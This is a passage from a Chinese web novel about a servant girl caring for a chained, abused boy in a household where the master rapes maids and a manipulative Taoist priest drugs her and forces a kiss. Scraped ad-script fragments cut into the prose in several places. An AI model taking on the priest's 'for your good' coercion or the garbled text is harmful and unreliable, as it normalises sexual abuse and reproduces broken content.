这怪胎少爷死了拉倒,她不能死啊。 “薛夫人停手。” 一道温润嗓音及时阻止。 衣袂飘飞,陶蓉眼前立了一人。 还未看清,匕首落地,夫人已经瘫坐在地。 明隐道长并未扶起女人。 反倒视线落在陶蓉和怪胎身上,来回梭巡。 道士不怒自威:“夫人病体贵重,你们这些人是如何服侍的?还不送夫人回去休息?” 门外两个小厮战战兢兢过来扶人。 夫人被半托半搀扶着离开,女人垂着头,青白的脸上再没有半分气焰。 陶蓉冒到嗓子眼的心慢慢沉下,她不由自主凝向气息微弱的少爷。 小孩身下,流了一地的血。 府中人一提少爷,便闻风色变,所有人,都说他是个异端。 可夫人毫发无损,身上只有怪物少爷的血。 怪胎见人就咬,刚刚要被夫人杀死的时候,偏偏没反抗。 “蓉儿,你快起来,受伤了吗?” 陶蓉摇头:“道长……是薛少爷受了重伤,可否请大夫为他医治?” 道长定定瞧她,神色极为满意。 眼中笑意愈深:“小蓉儿,放心,小少爷与普通人不同,只要未伤及心脏,他不会死。” 望着那两根断指 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,陶蓉欲言又止。 她想说些什么,可抬眸,门外的护卫和道长仿若早已习惯这种场面,皆不以为意。 被丢在西屋不闻不问的少爷,命和下人一样贱。 小少爷起初也咬过陶蓉。 犯不着操那个闲心。 抿唇,她最终也什么都没说,跟着道长一同退出西屋。 * 翌日,陶蓉再去送饭时,西屋内还弥漫着昨日留下的浓郁血腥味。 她进屋后,恶鬼少爷并没再扑过来咬她。 侧耳聆听,陶蓉听不见扯动锁链的动静。 连怪物的呼吸声都听不见。 心里涌上复杂的心绪。 虎毒不食子。 她暗忖,或许这怪胎少爷已经被他娘杀死了。 陶蓉放下食盒,小步伐去摸索人。 西屋内的摆设很简单。 八岁的小孩就躺在木床底下。 古怪的腐烂味传来,陶蓉心惊肉跳。 拉着锁链拖出一动不动的小孩,不知道过了多久,她才敢抬起手,去探查少爷的鼻息。 黑暗中,她并没有那么顺利。 起初,是小孩骨瘦如柴的胸膛。 那里被匕首刺过两刀,伤口上凝结了血痂。 鼻息的血腥味更重了。 再往上,是圈在少爷脖颈上沉重锁链。 锁链长年累月圈着小孩纤细的脖颈,导致他的颈项上,都是一圈又一圈的勒痕。 陶蓉呼吸一紧,才缓缓探到少爷的脸。 如果他…死了,陶蓉就可以又做回厨房粗使丫头。 可那又不太现实。 毕竟道长将她带入薛府,就是为了让她照顾少爷的。 怀里的人气息很弱,但吊着一口气,还没死。 陶蓉移开脚,她捡起来,是一本脏污破烂的书。 脑海里,皆是这少爷跪在地上借着一缕暗光看书的场景。 不知为何,如此地步,她在这八岁的怪胎身上,反倒看到自己的影子。 叹气,去端还热乎的甜粥来,她抱起小少爷。 送了几次饭,陶蓉知道,这恶鬼少爷也喜欢吃甜食。 上次上元节送了汤圆去,少爷吃后,咬她都轻了,只留下一个浅浅牙印。 可眼下,软糯香甜的南瓜粥愣是一口都喂不进去。 一刻钟已至,护卫开门喊她出去了。 陶蓉抱着小少爷,询问:“两位大哥,少爷受了伤,进步了食,再这样下去也要饿死了,可否让我再多待上一刻?” “呦,奇了怪,你不怕这怪胎吗?” “…他受了伤,咬不了人。” 捏着少爷的嘴,少女抱着小少爷仰起头,借用小勺子喂进少爷的喉咙口。 总算,虚弱的孩子还有求生意识。 嘴巴动了动,一点点咽下甜粥。 怕戳到少爷的喉管,陶蓉喂得艰难。 又一刻钟过去,一大碗甜粥还剩一半。 “时间到了。”护卫在外面敲门。 “马上就出来。” 陶蓉不喂了。 犹豫了一下,临走时将小少爷抱到阴冷的木板榻上。 她忍着肉痛,拿出一瓶金创药。 这还是道长给的,效果极好。 她每次受伤会用一些,如今还剩一点药粉了。 全部倒在小孩伤口比较重得伤口。 末了,将最后一点倒在小少爷的断指上。 如道长所说,少爷或许不会死。 但就算他自己忍着苦痛缓过来,又不是大罗神仙,右手肯定残了。 木板上的被褥也不知道多久未更换过。 忍着异味,她盖在小孩身上,剩余的热粥、馒头和水全部放在他的头旁边。 最后,陶蓉走出了门。 她已经不仅仅是给怪胎少爷送饭了。 而是兼顾照料一个小崽子。 4. 棋子 陶蓉被幽幽的啜泣声惊醒。 隐隐约约,尖尖细细,像女鬼似得格外渗人。 她翻了个身,躲到被窝里,只当不知,谁知道听到了“道长”二字。 愣了愣。 陶蓉提了厨房偷的磨刀石,出门去看。 她小偷小摸做得多,但没杀人放火。 天下的恶人多得去,她不算罪大恶极。 当然不怕鬼敲门。 寻着动静,拐了一道弯,陶蓉躲在了树后。 偏僻幽暗的小道上,在陶蓉独住的屋后,站着两人影。 咋一看,像鬼影。 但细看,一人个高修长,是玉霖道长。 另一人纤细瘦小,穿着府内奴婢统一样式的粗布裙。 背对着陶蓉,婢女紧紧抱着玉霖道士,哭得不能自理。 青年道士沉默立着,未曾推开。 陶蓉心一沉,明知撞人私密不是好事,可双腿仿若被定住了,如何都挪不动。 就算道士对她好别有目的,可陶蓉还是冒着生命危险去照顾怪物少爷了。 结果他倒是潇洒自在。 心比天宽,半夜和别的丫环私会。 树影下,少女披散黑发,眼神阴郁。 她无法形容心口的感觉,只觉胸口结了冰碴,寒气一点一点往外扩散。 远远地,抱着道士的婢女嗓音娇脆,带着哭腔:“道长,您可怜可怜奴吧,东家看中了奴婢,指名要奴婢过去服侍,您知道的,东家最爱折磨人,上元节夜里就玩死了一丫头,奴婢若是去了,一定活不长了!” “冬儿,东家看上了你,是你的福气。” 陶蓉隐在树后,听到此,默默蹙眉。 抱着道长的小丫环是冬儿? 她被好色东家看中了? “道长,您怎可如此无情?您平日里对冬儿不是最照顾了吗?您就帮帮我吧,府内那么多年轻的小婢女,就说蓉姐姐也长得不错,您让她代替奴婢吧。” 陶蓉僵住,锅从天上来。 冬儿:“蓉姐姐无人牵挂,最是合适了,听说她入府前出嫁过,可奴婢不一样,奴婢年纪小,什么都没经历过,家里还有生病的阿娘,万万不能去东家那儿送死啊……” 人不为己,天诛地灭。 这句话放在她们这一群蝼蚁身上,最为适用。 陶蓉哑然失笑,看不清玉霖道士的神色。 等了半晌,仅听他道:“夜深了,你先回去吧。” 道长递给冬儿一张帕子擦泪,令她先宽心。 冬儿擦了泪,心里有了底。 转悲为喜,才欢天喜地道谢,小跑离开了。 躲在树下的少女,撑着树干,死盯着青年道士来找她。 结果道士只是微不可查瞥了一眼她的矮屋,便转身走了。 * 翌日,冬儿特意跑她面前。 二人有了嫌隙,早已多日不曾说过话。 陶蓉几次受伤,冬儿从没来看过她。 结果今儿一大早,冬儿特意分了自己的馒头给她。 “蓉姐姐,你吃吧,从前是我对不住你,惹了你不高兴,我向你道歉。” 陶蓉无动于衷,坐在厨房外的石阶上,沉默啃着自个的馒头。 “姐姐,你是不是生我气?你可不能怨我呐,你打我吧?你打我一巴掌也行,咱们重归于好行吗?” 睨了冬儿一眼,陶蓉挺想笑的。 这丫头年纪小,但背刺的人手段有一套。 断交一个月了。 冬儿现在主动示好,只不过想减轻心里罪恶感,让良心好受一点。 她还真以为,昨夜过后,道士会保下她,让陶蓉代替她,被送给东家凌辱。 可惜,玉霖道士并不如表面上良善。 无论是她陶蓉,还是冬儿,对一个修道道士来说,都是轻贱凡人。 道长并不将薛府夫人放在眼里。 同样,色令智昏的东家,除了喝酒玩女人,也算不了什么。 道长撇开修行,心甘情愿守在府内,可不简单是为了区区铜臭钱财。 陶蓉思来想去,也只有西院有异瞳身负鳞甲的怪胎少爷,异于常人,奇货可居。 陶蓉如今,不仅从怪胎少爷利齿下活下来,还鼓起勇气阻拦了夫人伤害少爷。 当时,玉霖道士言辞凌厉,责令小厮送夫人回屋,低头看向她的表情,却相当满意。 现在的陶蓉,自然是最有价值。 她缄默地望着眼前面容姣好的秀气少女,冬儿。 都是微不足道之人,无论冬儿良善与否,陶蓉都帮不了她。 晚边,听闻两个小厮去了下人院。 直接绑了挣扎反抗的冬儿,一路抬进了主子的东院。 女孩绝望的悲鸣在东屋偏房响彻云霄。 整整一夜,东屋服侍的婢女都能清楚听见少女的哭喊声。 第三夜,陶蓉听见东院的家丁闲言碎语路过。 “听说骨头断了,下半身都是血,床都下不了,也不知道还能活几日。” “好像才十五岁吧,长得还行,可惜一夜就不行了。” 陶蓉掀起眼皮。 祸不及身时,皆事不关己。 薛府内,才是吃人的地方。 可总有一日,也会轮到自己。 去给少爷送饭的路上,蔚蓝的天空飘着云朵,日头温暖,她却觉得这天是假的。 四方院子围困住了这天地,把人也笼住,连只鸟都放不进来。 里头的丫头,自满心欢喜踏进府里后,便用自由换了短暂的安宁。 少女脸色苍白,又禁不住去想……那个不愿送饭的嬷嬷,真是病死的吗? * 小少爷总算醒了。 铁门打开后,黑影坐在床板上,陶蓉走过去,怪胎竟下意识缩向墙角。 “吃饭了,少爷。” 陶蓉已经不再畏惧这兽。 毕竟真正令人恐惧的是视人命如草芥的东家,和冷血无情高深莫测的道长。 怪物少爷至少她能一眼看透,他伤人,咬人,也怕人。 端出冒着热气熬得软糯的甜粥,陶蓉取走了勺子,想让他自己趴着喝。 结果小少爷爬着刚火急火燎喝了两口,便突然呛到,猛地咳嗽起来。 “少爷,端着喝会好些。” 陶蓉示范着将甜粥端起,递到少爷面前。 磨牙的声音传来,很明显,这野兽少爷又想咬她。 “少爷,您如果咬我,我就把带来的书撕了。” “……” “先喝粥,喝完粥再给您书。” 圈着链条的小孩像是静止了一般。 半晌,他“啊”一声,爪子慢吞吞抬起来。 他右手的断指碰到陶蓉时,她还没有吓得退缩呢,结果小少爷又立即缩手,扯着铁链往墙角跑。 “少爷,我不会伤害您。” 陶蓉叹气,耐心不足,端着甜粥又送了过去:“奴婢手很酸,您快点过来。” 她知道这东西听得懂人话的。 别说怪物,石头蹦出来的猴还有灵性呢。 果然,在陶蓉在准备放下碗的前一瞬,一双爪子又伸了过来,贴着陶蓉的手指,捧上碗边。 “对,就这样捧着,别松手,往嘴里喝。” 野兽少爷照做,动作很僵硬。 陶蓉暂时不敢松手,怕打翻了粥,白白浪费。 只好由着他的脏手挨着她的手,等他咕咚咕咚大口喝粥。 陶蓉小时候看别人家放牛,那黄牛喝水,也是咕哝咕哝直接吸的。 屋内异味太重,混合着挥之不去的血腥味,稍微待久了,就令人作呕。 她很嫌弃。 却无可奈何。 小少爷喝粥喝得很快,三两下,一大碗粥就下了肚。 她还带了三个大馒头。 却按住了小孩抓馒头的手。 小少爷嘴里发出凶巴巴低吼。 “奴婢三天送一次饭,少爷,这馒头你留着明天吃,别都吃掉好吗?留到明天,肚子就不会太饿。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 也不知道这玩意听懂了没,傻愣愣不说话。 陶蓉索性收回手,拿出了从别的小厮手里买来的小书。 她识得字,还是以前在菜地干活时,菜地前就是学堂,她便总会偷听夫子讲课。 陶蓉人微言轻,厚着脸皮问了好几个认识的下人,也就淘到这一本。 “这本书给你看,不过你不要告诉别人这书是奴婢给你的。” 说出这句话,陶蓉立即就闭了嘴。 算了。 他一个哑巴少爷,人人避之不及,陶蓉和他说这话不等于是说废话。 怪物少爷难得安静下来。 他抢走了书。 “哗啦哗啦” 馒头也不吃了,握着书就借着窗户边映进的一缕光,掀开了小书的第一页。 他只看了一眼,扫一眼书上密密麻麻的字。 就合上书,坐着歪头看她。 也不说话,闭合着嘴,变得安静下来。 黯淡的一缕光下,陶蓉隐约可以望见少爷淡黄色的瞳孔。 那双空洞诡异的黄眼睛瞧人时,的确渗人。 听说少爷心口上,还有和蛇鳞一样的鳞片。 她抿唇,尽量保持镇定。 掏出帕子,沾了点水,她蹲在少爷面前。 “少爷,下一回奴婢会带一床干净的被褥给你,现在呢,我给您擦脸,您不要咬我好吗?” 陶蓉直接上手了。 小孩很瘦,脸上的皮肉贴在骨头上,显得一双骨碌碌眼睛大的过份。 她想到曾经的自己。 以前也是饿的皮包骨。 要不是她命硬,挖野草吃草根,或许早就死了。 鼓起勇气,撩开少爷遮脸的长发,露出一张脏兮兮染血的脸蛋来。 她一边擦拭一边开口:“少爷,咱们的命啊,都是先苦后甜,您好好活着,等把东家和夫人都熬死了,您就是府内唯一的主子。到时候奴婢跟着您吃香的喝辣的,天天给您煲最好的甜粥喝。” 在爹不疼娘不爱的哑巴小少爷面前,不讲尊卑,不必谨言慎行,她难得放松许多。 “您放心,只要您不咬我,我就会一直陪在您身边照顾您。” 木讷的小少爷微动,一双黯然无神的黄瞳闪了闪。 陶蓉没注意,低头笑道:“少爷,把小手手伸出来,奴婢也给您擦擦。” 少爷不配合,不伸手,一双眼睛直勾勾盯着她,也没见反抗。 倒是相当乖巧了。 微微惊讶,陶蓉摸了摸小孩瘦巴巴的脸颊。 想他从小到大,从没和别人说过话就算了,应该也没得到过夸奖之词。 “少爷真乖,眼睛也好漂亮,您不是怪物,也不吓人……往后奴婢每次来,都给少爷擦干净,让少爷舒舒服服的入睡。” 小怪物的黄眼睛,有了亮光。 陶蓉擦得很轻柔,少爷一动,她虽然会下意识缩手,怕再被咬到,但总归是不过多惧怕了。 右手她不敢碰,因而只是擦了一遍左手。 他不会说话,被匕首刺入断了手指时,也不会喊“疼”。 一刻钟到了。 陶蓉舒了口气,该出去了。 她起身,挥散脑海里乱七八糟的想法,拎着食盒抬腿离开时,衣裙蓦然被攥住。 回头。 少爷仰着头,揪着她的裙角,小嘴翕张,又发不出音。 “少爷,奴婢该回去了,三日后就来看您,馒头您省着点吃。” 陶蓉扯走小少爷手里攥着的布料,没有犹豫,出了铁门。 她小时候,隔壁养了一条野性未驯的狼狗,专门用来捕野鸡野兔。 虽然也用链子锁着,但只要路过,都会朝人狂吠。 也咬过送上门来挑衅的顽童。 但狼狗除了对主人温顺些,还会对陶蓉摇尾巴。 只是因为,在狼狗咬小孩被主人棒打禁食三天时,陶蓉偷偷把家里的死老鼠丢给它吃。 而如今常年被关在黑屋的少爷,和条狗也没区别。 5. 薄情 冬儿死了。 冬儿死了。 下身骨头碎了。 没有大夫的医治后,便如风雨中缥缈残烛,经不起半点摧折。 听说东家特意来下人院子物色新人。 陶蓉拿着扫帚,躲到了西屋扫院子。 东家从没去过西屋。 天快落山时,陶蓉正准备回去,结果一群人浩浩汤汤出现了。 她远远见过东家一眼。 身着华服,但脚步虚浮,三十出头,留着八字胡,眼袋发青。 一脸气血亏损精—气不足的模样。 一群人入了西院。 拿着扫帚的陶蓉应对不及,匆匆低头跪下。 她以为东家,终于想来西屋看小少爷来了。 谁知,听得一声飘浮男声,满身酒气的好色之徒已来到面前。 “你就是陶蓉儿?” 陶蓉心惊,埋下头,不敢吭声。 “东家,您说的不错,这小丫头就是陶蓉,负责给小少爷送饭,年仅十六,正值妙龄呢。” 东家身后跟着老管家和好几个小厮。 “把头抬起来。” 被人摁住,强逼着抬头的那一刻,陶蓉浑身发抖,仿佛又回到了过去被丑陋老头挑剔相看的时候。 “冬儿那死丫头的确没撒谎,你果然有几分姿色,就是手太糙,胸太小,摸着不舒爽。” 东家油腻腻摸了摸下巴,松开陶蓉哆嗦的手,淫邪一笑,对老管家命令:“回去吧,今晚让下人把她洗干净,抬到东屋。” 人走鸟散。 只剩跪倒在地上的陶蓉,面如死灰。 * 陶蓉回屋的那一刻,她抓起桌上的剪子,目眦欲裂。 奴颜婢膝之人,失了希冀,被踩在脚下,骨气也被寸寸压断。 她怎能不恨? 去求道长? 脑海里的想法,刚冒出便被扼杀。 她们这些婢女,都是他带入府的。 东家次次玩出人命,道长一向冷眼旁观! 都是伪善凉薄之人罢了。 嬷嬷和小厮来了。 “丫头,能服侍主子,这是你几世修来的好福气啊。” 和道长那日所说的话,一般无二。 陶蓉笑了。 “嬷嬷,奴婢全身痒得很,您看,脸都抓破了,还有胳膊上,都是红疹子,又红又肿,越来越痒,如果传染给了东家……” 老嬷嬷捂住鼻子,觑了一眼陶蓉破相的脸,又瞥向她两条白皙胳膊上实实在在的红点子。 变了脸色。 “你这丫头!白日不是好好的吗?现在怎么突然就痒了?别以为我老婆子不知道,你藏着什么心眼。” “东家荤素不忌,只要看中了你,你就算是死尸,东家也要吃到嘴再吐出骨头来。” 老嬷嬷耻笑:“算了,躲了过初一躲不过十五,就再给你一日,。” 陶蓉咬破了嘴,吃到铁锈味。 “奴婢知道。” * 第三日,陶蓉该去送饭。 她说过,今天除了给少爷带饭,还会送一床干净的被褥。 可现在,泥菩萨过江自身难保,她还管的了别人? 更何况,那西屋的怪胎少爷是东家之子。 厌屋及乌。 想到那个恶心的东家,陶蓉不可能还摆的了好脸色。 她并非良善之人。 长久生活在阴影中,如石头底下压着的阴暗鼠妇,未泯灭人性就已不错。 所以,道长对她好一点,她便难以忘怀。 从昨夜起,道长始终未露面过。 想来是另一种“考验”了。 就如她每次被怪胎少爷咬伤后,从黑屋爬出来,道长才会出手帮她医治。 她一次次达到他的期许,度过他的考验,他才会对你打个巴掌给颗甜枣,恩威并施,继续留着。 陶蓉明夜要被送给东家。 今日还要给东家的儿子送饭吃。 造孽。 “小蓉姐,西屋的张显护卫差奴婢来催,你今日该去给少爷送饭了。” “马上来。”陶蓉敷衍开口。 * “快吃。” 把随便煮好的饭端到小少爷脚边。 对方放下小书,下意识趴来用手抓饭,可很快,他又怔住。 饭菜就在面前,他却抬头,默默看着面前的人。 陶蓉食言了。 没给他带干净的被褥。 也不想给他擦脸擦手。 更别说教他吃饭的姿势。 少女心烦意乱靠着铁门,嫌恶地捂住鼻子。 陶蓉只想等时间过去,快点离开这黑屋。 “快吃啊,不吃就饿着你。” 三日前的她语气柔和,今日的她面色不耐,语气刻薄。 陶蓉想不出法子应对色鬼投胎的东家。 哪有精力再哄怪物。 锁链扯动,瘦小却凶残的少爷站起身,眸子盯着她,慢慢靠近。 小孩和狗都需要哄着。 她知道,性格和野兽似得少爷,很可能又不高兴了。 陶蓉叹气,退了一步,后背完全贴紧铁门。 又退无可退了。 这一个月来,她摸清楚了这野兽少爷的性子。 嘴巴说些好话,缺爱孤独的小孩很受用。 想让少爷不咬她,只要温柔一点,就能躲过一劫。 可她此时偏偏嘴硬,偏不愿说。 只为了心中那愤愤不平的一口气。 “张大哥,开门!放我出去!我不想在这里待了!我要出去!” 小孩停住了。 他空洞木然地看着,眼前这个唯一一个接近他的人,在疯狂拍打铁门。 丫环一边喊着要出去,一边回头。 那张他很喜欢的脸,都是抓痕,也变了脸色。 这些年,每个人看向他,表情都是这般。 生下他的母亲,也是如此。 母亲每次来,都说他是“瘟神”、“怪胎”、“煞星”。 他知道,如书中所说,她们都讨厌他。 小孩后退两步,握紧拳头,长指甲深深扎进掌心,有血在流,可他没感觉疼。 因为习惯了,所以觉得都可以忍。 可他另一块位置很疼很疼,是无法忍受的。 小孩摸到了心口的位置,那里长着几块坚硬鳞片,心口一直在跳。 他却希望还不如停了。 张护卫:“别吵,你不是很关心少爷吗?现在怎么又非要喊着出来?” 刘护卫:“你忘了,这丫头被东家看中了,应该要马上被送上榻了。” “怪不得。” 护卫张显开了门:“算了,出来吧。” 陶蓉几乎要冲出去。 可小脚却被抱住。 她厌烦地回头,是野兽扣住她的脚踝,不让她走。 少女抬脚,就想踹开这晦气玩意。 “陶……陶蓉……我…我还没有吃……吃饭” 陶蓉震惊睁圆眼。 小怪胎:“时……时间还……还没有……到。” 他知道的,门外的人说过,每次给他送饭吃,都要等他吃、陪他待一会再走。 “陶…蓉……对……对……不起。” 淡黄色瞳孔的小少爷艰难张嘴,说话磕磕绊绊,咬到舌头,嘴巴张张合合,含混了一嘴的血。 “陶蓉……我…我不……咬你。” 护卫目瞪口呆:“少爷……说话了?” 陶蓉:“他不是哑巴?” * 陶蓉又回到黑屋里。 她的脸和手背都是用院子里的毛虫弄得。 故意弄破相,脸颊肿胀,还抓出了血。 即使这样,东家还不放过她。 反倒他儿子,直勾勾盯着她破相脸,咬破舌头和她说“对不起”。 一条傻狗。 等她回了黑屋,他还问她疼不疼。 真可笑。 “快吃吧,捧着吃。” “啊……好。” 小野兽不再木木地不理人,而今听话地捧起了碗,眸子紧张看她一眼,用手抓饭。 陶蓉撑着手肘蹲着看他,心情依旧燥郁,但心里却注入了另一种力量。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >这条狗,让人养的挺有驯服感。 * 小桃还活着。 不过也不知道还能撑多久。 短短几日,一个鲜活的少女便已孱弱躺在东院的矮房。 陶蓉穿着半透的轻纱裙,躺在东家主屋长榻上,屋内点着烛台,而她,便是今夜等待主子的暖床丫头。 连通房都算不上,玩伤了,就会被扔到矮房,自生自灭,由其成为下一个冬儿。 烛油全然坠下,最后一截蜡烛要燃尽了。 可东家迟迟未来。 主屋门外,站着两个小厮,暗调的影子照在门外,死守着屋内寂静的少女。 最终,门开了。 隔着放下的纱帐,沉稳的脚步声传来。 脚步逼近,陶蓉闭上了眼。 枕头下,藏着从剪刀上拆卸下的半个刀锋。 从来时便藏在发内,嬷嬷并未察觉。 与其今夜饱受煎熬,陶蓉唯一想到的法子,只有亲手切下东家的污秽玩意,断他性命,以绝后患。 不知道,道长这次给她的考验,要的可是这种结果? 层层叠叠的纱帐被手指挑开。 陶蓉闭上眼,等待时机。 良久,能明显感知到落在身子上的直白视线。 却迟迟不见动作。 冰凉的手指不急不缓抚上她红疹未褪的脸颊,又落在她纤细白皙的肩头上。 陶蓉未睁眼,那人便不言语。 全身微颤,她觉得渴,身子越发燥热。 是那老婆子,逼她提前服了药,以便那老色鬼更尽兴。 她偷偷抠嗓子眼吐出大半,只是余药效力太强。 “东家,奴婢等了您好久,这就服侍您就寝。” 烛火摇曳,陶蓉一睁眼愣住了。 “…道、道长?” 穿着道袍的玉霖道士挑眉,眼神几分隐晦复杂,睨着她:“小蓉儿,你真是胆大包天哪。” 杀人利器就藏在枕头下。 道长大半夜怎么会在这? 难道有旁观过程的癖好? 夜深了,老色鬼肯定要回屋歇息。 他在这,那她还怎么敢下手? “道长” 陶蓉:“东家点名今夜要奴婢服侍,他应许马上就回屋了,您在这于理不合。” “东家醉了酒,已在另一厢房睡下,今夜不回来了。” 道士解下外袍,丢了过来。 “小蓉儿,你日后无需服侍东家,只需做好分内之事便可。” 接过道袍,少女眼神茫然。 面前的青年褪下外袍后穿着一袭素衫,青丝玉带,神色淡淡。 “穿好道袍,跟我回去。” “道长,冬儿死了。” 道士神色不变,轻声叹气:“命薄之人,注定是活不长久的,我会为她好好超度,让她安息转世投胎。” 陶蓉闭眼,若她死了,他也会这般轻描淡写。 无可用处的小丫头,死便死了。 这个府邸,不知妄害了多少条人命,不知道又有多少个惨死的幽魂。 道长说,服侍东家,是下人福气。 这些死了的姑娘,注定命薄。 “还发什么愣?”青年皱眉。 披着道袍的陶蓉默默收回了刀锋。 挺后悔的,闭眼前,她还想着,道士不可造杀孽有损功德,所以用她的手杀了东家,道长会不会满意。 她想错了。 道长完全没有这个心思。 一下榻,她的双腿酥软发麻,根本站不稳。 一头栽倒在地,她撑得太久,药劲却越强。 那药竟有如此威力。 “小蓉儿。” 玉霖蹲下身,双眸幽澈:“我抱你回去。” 道士张开双手。 少女鼻尖冒出热汗,怔怔盯着道士半晌,最终垂下头来。 他没问她为何呼吸急促、腿软无力。 每一个被送上东家卧榻的奴婢,都是如此。 他早就知道。 少女默了默。 低眉顺眼:“道长,奴婢可以自己走。” 6. 进展 体内一波又一波的滚热袭来。 回到偏僻的屋子后,道士也进了屋。 掌心划出许多条血痕。 陶蓉将血肉模糊的手藏进道袍宽袖里,恭敬低头:“多些道长相送,奴婢已经无碍,便洗漱休息了。” 玉霖低眸。 少女双眼恍惚,面容红霞,中的自然是他配得的药。 正常人中了,早就失了理智。 宽袍下,少女露着一双发颤的莹白小腿,脚边还低着点点鲜血。 就像是待宰的羔羊,走到绝路,却苦苦强撑。 她为了保持清醒,一路来紧握着藏在手里的刀刃。 药力扩散一次,她手中的刀刃便刺入血肉一次。 她还以为,他未察觉。 “玉霖道长。” 陶蓉:“奴婢累了,想休息。” 还赶人呢。 嘴硬的丫头。 道士坐下,淡漠目光落在少女脸上。 含着泪花,站都站不稳,早就到了强弩之末。 突然想起那日她身着嫁衣的可怜模样。 坐在轿子里,像是凡人娶小房的架势。 他擦身而过,转头一瞥,风吹起轿帘,他恰好瞧见绯衣新娘被绑了手脚,绝望而不甘的双眸。 而在他转身欲走之际,少女一头从轿子上滚落下来。 撞破了额角,一瘸一拐,却还想着逃。 救下她,只是因为她挺合眼缘,中等姿色也还算入眼。 孤苦无依、浮萍之身。 带入府内,就算突然死了,也无人在意。 这段时日,她被西屋的怪物少爷咬过伤过,却没想过再放弃送饭。 除却前两次惊惧,后来她进入西屋的次数多了,还能令怪物小子开口说话。 留她半年,她果然没让他失望。 假日时日……青年眉目舒展,心情不错。 视线又回到陶蓉脸上。 他这几日出府办事。 府内无人知晓。 小厮说,陶蓉并未去南院找过他。 如若是别的小丫头,遭此祸事,总要急急忙忙来求助于他的。 可她不会。 相反,她被送到东家床上,还想带着暗器拼死一搏。 从前,她望向他的目光,复杂婉约,含羞带怯,都是少女情意。 而今,即使她中了药,咬伤了唇瓣,看向他的眼眸,清清白白,没有半点情、欲。 玉霖又蹙了蹙俊眉。 她应是喜欢他的。 和府内很多小丫头一样,仰慕崇敬他,视他如神邸。 因为他的三两句话,便被迷得神魂颠倒。 不是死在东家的凌虐之下,就是为他奉献一颗爱意满满的心脏。 这丫头的喜欢,明明更为执着。 “道长,奴婢要歇息了,您回去吧。” 陶蓉颤抖坐下,又在血肉翻飞的掌心划一刀。 白玉霖不知道她这是何意,自己又该恼什么。 “小蓉儿,你这药不好解。” 玉霖视线落在少女嫣红的唇上,有些嫌弃她满是红疹的肿脸。 但好歹,眼睛还是澈亮得让人心悸。 权衡利弊一番,才勉强开口, “人命重要,本道若为你破一次戒律,也不是不可以,日后再回门受罚罢。” 少女微微一愣,速速摇头:“奴婢可以忍。” 他心中的火气莫名更盛了。 第一次放下身段对待她一个小小凡人,她怎如此不识好歹? 道士不悦,修长两指抚在丫环的脆弱颈间。 俯身,青丝垂落在她的胸前,薄凉的唇角碰上陶蓉的双唇。 “蓉儿,本道这是为你好。” “唔…”少女睁大水润杏眼。 琉璃般干净的眼眸还倒映着他的影子。 她的嘴唇绵软温热,道士仿若尝出甜味,心口微动,眼底浮现浅淡波澜。 他不是不知。 这丫头命如草芥,身世穷苦,父母冷血偏心,还有两个恶种弟弟。 别说像他这般待她好之人了。 她从小都没有享受过什么人情温暖的。 和西屋的怪胎相像,这丫头也十足缺爱。 在人间走一遭,其实,和这丫头玩玩也不算什么。 毕竟身心都给了他。 日后若她还有命活着,他便不吃她的心了。 弃如敝履抛下,便是结局。 深潭落下石子,水纹荡漾,惊动了潭下潜伏的巨兽。 玉霖眼睑未颤,神色越发冷冽,只是呼吸却重了。 按住少女的香肩,喉结滚动,他有些急促地想要加深这个吻。 “道长,奴婢不想。” 一把推开眼前气息急促之人,陶蓉捂住嘴唇,撇过脸去。 青年脸色微变:“小蓉儿,我是在帮你。” 帮她?是帮她一个,还是私下里帮别的姑娘也这样? 若她答应了,她还能不能活过今晚? 陶蓉扑通跪下:“道长,奴婢只是一个下人,身份卑贱,此等肮脏污秽之事,奴婢想都不敢想,逞论让您为奴婢破戒。” 道士气笑了。 她竟然拒绝他。 “好,好,本道也是如此想的,你好好地休息吧。” * 东家再没来派人找过她。 撑了一夜,陶蓉夜半呕出几口血之后,面色被折磨得有些憔悴。 骨子的痒意终于停了。 躲在屋内休息了两日,翌日天还未亮,丫环便来瞧了门。 今日正逢东家三十岁寿辰,依照规矩,要做点心寿包,大摆宴席,庆祝一番。 “小蓉姐,厨房人手不够了,你可否来帮帮忙?” 陶蓉不能拒绝。 厨房内围了好些个别院来的丫头,见到陶蓉,都眼前一亮。 “哎哟,你可是第一个从东家屋内走出来的。” 姑娘们殷切地给她倒了杯热茶,勾住她的胳膊。 都是比她晚入府的粗使丫头。 她们说她晦气。 平日里很少交流。 此时却喊得亲近。 “蓉妹妹,你是什么路数?我可听说了,你被抬去主屋后,是道长亲自送你回来的。” 陶蓉一只手接过热茶,没说话,另一只缠着布条的手被抬起。 “你这儿怎么受伤了?瞧着脸色也不太好?” 丫环们蹙眉,个个脸上都是担忧。 缩回手,陶蓉不做解释。 “天亮了,咱们快些干活吧。” * 东家寿辰,东院的嬷嬷来了一趟,让厨房要派两丫环去摆盘。 都知道东家好色。 几个丫头互相推诿,最终把差事落在一个年纪最小的丫头身上。 小丫环气红了眼眶,却懦弱地不敢吱声。 还需要挑出一个摆盘的下人…… 剩余的人齐齐看向愈发寡言少语的陶蓉。 谁都不愿去东家跟前露面。 陶蓉可是从东家床上安然无恙回来,把这差事推到她身上,不打紧。 “蓉妹妹,你去帮忙摆盘吧?”有丫环试探。 陶蓉沉默着起身。 众人眼前一亮,以为她答应了。 结果只听少女微微一笑:“不好意思,我得去西屋给小少爷送饭。” 将早就备好的饭菜放进食盒,当着其余丫环的面,陶蓉又拿了几块她帮忙做的点心和寿包。 “这点心和寿包可都是给主子准备的!” 陶蓉点头:“是啊,少爷也是主子,拿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 几块糕点不打紧。” 无视丫环们难看的脸色,她出了厨房, 丫头便阴阳怪气起来。 “这个陶蓉,给那怪胎送饭有什么了不起?” “是啊,都是下人,也没见她互相帮衬,就仗着道长好心怜悯她一命,便目中无人,哼,看她还能得意多久。” 陶蓉脚步未停,恍若未闻。 * 陶蓉给小少爷擦干净了手,他一直乖巧坐着。 自小少爷开口说了话, 许是得了道长的指示。 